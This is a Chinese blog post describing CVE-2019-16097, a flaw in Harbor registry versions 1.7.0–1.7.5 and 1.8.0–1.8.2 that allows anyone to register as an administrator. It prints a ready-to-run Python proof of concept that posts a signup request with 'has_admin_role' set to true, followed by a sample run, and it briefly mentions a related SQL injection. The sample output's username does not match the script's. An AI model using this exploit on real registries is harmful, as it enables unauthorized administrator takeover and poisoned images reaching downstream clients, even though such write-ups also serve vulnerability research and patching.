美文网首页
CVE-2019-16097

CVE-2019-16097

作者: RabbitMask | 来源:发表于2020-04-18 22:09 被阅读0次
    漏洞名称:

    Harbor任意管理员注册

    漏洞简介:

    因注册模块对参数校验不严格,可导致任意管理员注册,tui~,就是对has_admin_role压根就没有校验,在普通用户注册基础上增加该值属性为ture即可直接注册管理员,恶臭!

    漏洞危害:

    攻击者可以通过注册管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

    影响范围:

    1.7.0-1.7.5
    1.8.0-1.8.2

    漏洞复现:

    大约如下这个样子,但是,虽然注册功能默认开启,但确实是可以关闭,关闭之后注册账号功能处空白,且漏洞无法复现。

    什么?懒得开Burp,我也懒,,,还懒得传github,,,就丢这儿吧。

    from urllib.parse import urljoin
    import requests
    import sys
    
    requests.packages.urllib3.disable_warnings()
    
    def poc(url):
        data = {
                "username": "test1234",
                "email": "test@qq.com",
                "realname": "test",
                "password": "Test1234",
                "has_admin_role": True,
                }
        try:
            response = requests.post(url=urljoin(url, '/api/users'),json=data,verify=False)
            return response.status_code
        except:
            pass
    
    
    if __name__ == '__main__':
        url = sys.argv[1]
        if poc(url)==201:
            print('Success!\nUsername:test1234\nPassword:Test1234')
        else:
            print('Fail!')
    
    python harbor.py http://127.0.0.1
    Success!
    Username:test
    Password:Test1234
    

    END

    其实,在此之上,还有一个高危漏洞:CVE-2019-19029,通过用户组进行SQL注入,具有项目管理功能的用户可以利用SQL注入来从底层数据库读取机密信息或进行权限提升,配合此漏洞那岂不美滋滋???
    虽然是去年的CVE,但漏洞公开时间就在最近,我审了半天源码也没看懂利用链,原谅我Golang仍不到家,再此Mark一下,期待大佬交流与研究。

    相关文章

      网友评论

          本文标题:CVE-2019-16097

          本文链接:https://www.haomeiwen.com/subject/qbcwvhtx.html